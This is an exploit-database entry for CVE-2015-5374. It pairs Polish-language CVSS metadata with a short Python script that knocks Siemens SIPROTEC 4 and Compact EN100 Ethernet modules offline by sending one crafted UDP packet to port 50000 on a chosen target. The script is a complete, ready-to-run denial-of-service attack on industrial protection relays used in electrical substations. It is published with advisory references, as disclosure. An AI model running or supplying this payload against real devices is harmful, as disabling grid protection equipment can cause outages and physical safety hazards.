Siemens SIPROTEC 4 / Compact EN100 Ethernet Module Denial Of Service

2018.02.18
Credit: M. Can Kurnaz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-19


Ogólna skala CVSS: 7.8/10
Znaczenie: 6.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Pełny

# Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service # Date: 14.02.2018 # Exploit Author: M. Can Kurnaz # Contact: https://twitter.com/0x43414e # Vendor Homepage: https://www.siemens.com # Version: All devices that include the EN100 Ethernet module version V4.24 or prior. # Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25). # CVE : CVE-2015-5374 # Vulnerability Details: # https://www.cvedetails.com/cve/CVE-2015-5374/ # https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 #!/usr/bin/env python import socket import sys print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service') if len(sys.argv) < 2: print('Usage: ' + sys.argv[0] + ' [target]') sys.exit(1) print('Sending packet to ' + sys.argv[1] + ' ...') payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (sys.argv[1], 50000)) print('Done, say goodbye!')


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